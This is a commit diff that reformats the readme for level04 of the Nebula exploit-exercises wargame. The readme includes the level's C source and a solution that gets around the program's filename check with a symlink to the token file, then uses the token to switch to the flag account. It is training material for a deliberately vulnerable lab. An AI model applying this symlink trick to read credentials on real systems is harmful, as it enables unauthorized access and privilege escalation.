Commit 8ea166b
Changed files (1)
exploit_exercises
nebula
level04
exploit_exercises/nebula/exercise-4/readme.md → exploit_exercises/nebula/level04/readme.md
@@ -1,12 +1,13 @@
+# Nebula - level04
-----------------------------------------------
-
-About
-Source code
+## About
This level requires you to read the token file, but the code restricts the
files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password
level04. Files for this level can be found in /home/flag04.
+
+## Source Code
+```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
@@ -42,3 +43,13 @@ int main(int argc, char **argv, char **envp)
write(1, buf, rc);
}
+```
+
+## Solution
+
+Avoid reading the solution until you have succeeded or are stuck.
+
+* `level04:nebula:/home/flag04$` `ln -s /home/flag04/token /tmp/TOKENGET`
+* `level04:nebula:/home/flag04$` `./flag04 /tmp/TOKENGET`
+* `level04:nebula:/home/flag04$` `su flag04` _use token as password_
+* `sh-4.2$` `getflag`